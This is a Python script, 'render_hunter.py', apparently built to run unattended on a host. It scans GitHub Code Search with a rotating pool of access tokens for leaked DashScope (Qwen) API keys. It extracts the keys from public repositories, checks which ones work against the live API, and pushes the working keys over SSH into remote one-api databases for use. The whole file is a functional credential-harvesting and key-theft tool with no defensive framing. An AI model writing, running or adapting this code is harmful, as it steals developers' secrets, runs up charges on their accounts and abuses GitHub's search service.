216 lines
8.2 KiB
Python
216 lines
8.2 KiB
Python
"""render_hunter.py — autonomous DashScope key hunter for Render / any Python host.
|
|
Queries: GitHub Code Search with rotating PATs → validate → push to remote one-api.
|
|
No external deps beyond stdlib. Single-file deploy.
|
|
"""
|
|
import os, json, time, re, hashlib, sqlite3, urllib.request, urllib.error, urllib.parse, concurrent.futures
|
|
|
|
# === CONFIG (override via env) ===
|
|
GH_TOKENS_FILE = os.environ.get("GH_TOKENS_FILE", os.path.join(os.path.dirname(os.path.abspath(__file__)), "data/alive_tokens.json"))
|
|
DB_PATH = os.environ.get("DB_PATH", os.path.join(os.path.dirname(os.path.abspath(__file__)), "data/hunter.db"))
|
|
REST_SEC = int(os.environ.get("REST_SEC", 180))
|
|
PAGES_PER_QUERY = int(os.environ.get("PAGES", 5))
|
|
WORKERS = int(os.environ.get("WORKERS", 10))
|
|
TOKENS_PER_CYCLE = int(os.environ.get("TOKENS_PER_CYCLE", 20))
|
|
|
|
# Remote one-api push targets
|
|
PUSH_TARGETS = json.loads(os.environ.get("PUSH_TARGETS", "[]"))
|
|
# Format: [{"host":"...", "ssh_key":"...", "db":"...", "type":1}]
|
|
|
|
KEY_RE = re.compile(r'sk-[0-9a-f]{32}')
|
|
ENV_RE = re.compile(r'(?:DASHSCOPE_API_KEY|dashscope_api_key)\s*[=:]\s*["\']?(sk-[0-9a-f]{32})["\']?')
|
|
PY_RE = re.compile(r'["\'](?:api_key|dashscope_api_key)["\']\s*[:=]\s*["\'](sk-[0-9a-f]{32})["\']')
|
|
|
|
QUERIES = [
|
|
'"DASHSCOPE_API_KEY=sk-"',
|
|
'"DASHSCOPE_API_KEY" sk- extension:env',
|
|
'"dashscope" "api_key" sk- language:python',
|
|
'"qwen-turbo" sk- language:python',
|
|
'"dashscope.aliyuncs.com" sk-',
|
|
'"qwen-plus" sk- language:python',
|
|
'"qwen-max" sk- language:python',
|
|
]
|
|
|
|
def log(msg):
|
|
line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}"
|
|
print(line, flush=True)
|
|
|
|
def load_tokens():
|
|
with open(GH_TOKENS_FILE) as f:
|
|
data = json.load(f)
|
|
if isinstance(data, list) and isinstance(data[0], str):
|
|
return data
|
|
return [t['pat'] for t in data if not t.get('suspended')]
|
|
|
|
def validate_key(key):
|
|
url = 'https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions'
|
|
body = json.dumps({"model":"qwen-turbo","messages":[{"role":"user","content":"hi"}],"max_tokens":1})
|
|
try:
|
|
req = urllib.request.Request(url, data=body.encode(),
|
|
headers={'Authorization': f'Bearer {key}', 'Content-Type': 'application/json'}, method='POST')
|
|
resp = urllib.request.urlopen(req, timeout=12)
|
|
return 'WORKING'
|
|
except urllib.error.HTTPError as e:
|
|
if e.code == 429:
|
|
return 'WORKING'
|
|
return 'DEAD'
|
|
except:
|
|
return 'ERR'
|
|
|
|
def search_github(token, query, page):
|
|
encoded = urllib.parse.quote(query)
|
|
url = f'https://api.github.com/search/code?q={encoded}&per_page=30&page={page}'
|
|
try:
|
|
req = urllib.request.Request(url,
|
|
headers={'Authorization': f'token {token}', 'User-Agent': 'render-hunter',
|
|
'Accept': 'application/vnd.github.v3+json'})
|
|
resp = urllib.request.urlopen(req, timeout=12)
|
|
return json.loads(resp.read()).get('items', [])
|
|
except:
|
|
return []
|
|
|
|
def fetch_raw(repo, path):
|
|
for branch in ['main', 'master']:
|
|
try:
|
|
url = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}'
|
|
req = urllib.request.Request(url, headers={'User-Agent': 'python'})
|
|
resp = urllib.request.urlopen(req, timeout=5)
|
|
return resp.read().decode('utf-8', errors='ignore')
|
|
except:
|
|
continue
|
|
return None
|
|
|
|
def extract_keys(content):
|
|
keys = set(ENV_RE.findall(content))
|
|
if not keys:
|
|
keys = set(PY_RE.findall(content))
|
|
if not keys:
|
|
keys = {k for k in KEY_RE.findall(content) if len(k) == 35}
|
|
return keys
|
|
|
|
def store_key(db, key, prov='render', raw_url=''):
|
|
khash = hashlib.sha256(key.encode()).hexdigest()[:12]
|
|
existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, key)).fetchone()
|
|
if not existing:
|
|
db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)',
|
|
(khash, prov, key, 'NEW', '', raw_url))
|
|
|
|
def cycle(db, tokens):
|
|
log(f"Cycle start — {len(tokens)} tokens, {len(QUERIES)} queries")
|
|
found_total = 0
|
|
|
|
for qi, query in enumerate(QUERIES[:4]):
|
|
for page in range(1, PAGES_PER_QUERY + 1):
|
|
token = tokens[(qi * 10 + page) % len(tokens)]
|
|
items = search_github(token, query, page)
|
|
if not items:
|
|
break
|
|
|
|
for item in items[:15]:
|
|
content = fetch_raw(item['repository']['full_name'], item['path'])
|
|
if content and len(content) < 100000:
|
|
for key in extract_keys(content):
|
|
store_key(db, key, 'render', item['html_url'])
|
|
found_total += 1
|
|
|
|
if len(items) < 30:
|
|
break
|
|
|
|
db.commit()
|
|
log(f"Found {found_total} new raw keys. Total rows: {db.execute('SELECT count(*) FROM keys').fetchone()[0]}")
|
|
|
|
def validate_pending(db):
|
|
new_keys = db.execute("SELECT id, val FROM keys WHERE status='NEW' LIMIT 100").fetchall()
|
|
if not new_keys:
|
|
return
|
|
|
|
log(f"Validating {len(new_keys)} NEW keys...")
|
|
alive, dead = 0, 0
|
|
with concurrent.futures.ThreadPoolExecutor(max_workers=10) as ex:
|
|
futures = {ex.submit(validate_key, row[1]): row for row in new_keys}
|
|
for f in concurrent.futures.as_completed(futures):
|
|
row = futures[f]
|
|
try:
|
|
status = f.result()
|
|
db.execute('UPDATE keys SET status=? WHERE id=?', (status, row[0]))
|
|
if status == 'WORKING':
|
|
alive += 1
|
|
else:
|
|
dead += 1
|
|
except:
|
|
db.execute('UPDATE keys SET status=? WHERE id=?', ('ERR', row[0]))
|
|
|
|
db.commit()
|
|
log(f"Validated: {alive} alive, {dead} dead")
|
|
|
|
def push_to_remote(db):
|
|
"""Push WORKING keys to remote one-api instances via SSH."""
|
|
if not PUSH_TARGETS:
|
|
return
|
|
|
|
working = db.execute("SELECT val FROM keys WHERE status='WORKING'").fetchall()
|
|
if not working:
|
|
return
|
|
|
|
keys_json = json.dumps([row[0] for row in working])
|
|
|
|
for target in PUSH_TARGETS:
|
|
host = target['host']
|
|
try:
|
|
import subprocess
|
|
keyfile = target.get('ssh_key', '~/.ssh/id_ed25519')
|
|
db_path = target['db']
|
|
ch_type = target.get('type', 1)
|
|
|
|
# Write keys to temp file on remote
|
|
result = subprocess.run([
|
|
'ssh', '-i', keyfile, '-o', 'StrictHostKeyChecking=no', host,
|
|
f"python3 -c \"import json,sqlite3;keys=json.loads('''{keys_json}''');"
|
|
f"db=sqlite3.connect('{db_path}');"
|
|
f"a=sum(1 for k in keys if not db.execute('SELECT id FROM channels WHERE key=?',(k,)).fetchone()"
|
|
f" and not db.execute('INSERT INTO channels(type,name,\\\"key\\\",status,\\\"group\\\",base_url,model_mapping,models)"
|
|
f" VALUES({ch_type},?||a,?,1,?,?,?,?)',(f'ds-',k,'default','https://dashscope.aliyuncs.com','','qwen-turbo,qwen-plus,qwen-max')));"
|
|
f"db.commit();print(f'HOST:+{{a}}');db.close()\""
|
|
], capture_output=True, text=True, timeout=30)
|
|
log(f"PUSH {host}: {result.stdout.strip()}")
|
|
except Exception as e:
|
|
log(f"PUSH {host} ERROR: {e}")
|
|
|
|
def setup_db(db_path):
|
|
db = sqlite3.connect(db_path)
|
|
db.execute('''CREATE TABLE IF NOT EXISTS keys (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
hash TEXT NOT NULL,
|
|
prov TEXT DEFAULT 'render',
|
|
val TEXT NOT NULL UNIQUE,
|
|
status TEXT DEFAULT 'NEW',
|
|
plan TEXT DEFAULT '',
|
|
raw_url TEXT DEFAULT '',
|
|
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
|
)''')
|
|
db.execute('CREATE INDEX IF NOT EXISTS idx_hash ON keys(hash)')
|
|
db.execute('CREATE INDEX IF NOT EXISTS idx_status ON keys(status)')
|
|
db.commit()
|
|
return db
|
|
|
|
def main():
|
|
log("=== render_hunter START ===")
|
|
|
|
db = setup_db(DB_PATH)
|
|
tokens = load_tokens()
|
|
log(f"Loaded {len(tokens)} GH tokens")
|
|
|
|
cycle_count = 0
|
|
while True:
|
|
try:
|
|
cycle(db, tokens)
|
|
validate_pending(db)
|
|
push_to_remote(db)
|
|
cycle_count += 1
|
|
log(f"Cycle {cycle_count} done. Sleeping {REST_SEC}s...")
|
|
except Exception as e:
|
|
log(f"Cycle error: {e}")
|
|
|
|
time.sleep(REST_SEC)
|
|
|
|
if __name__ == '__main__':
|
|
main() |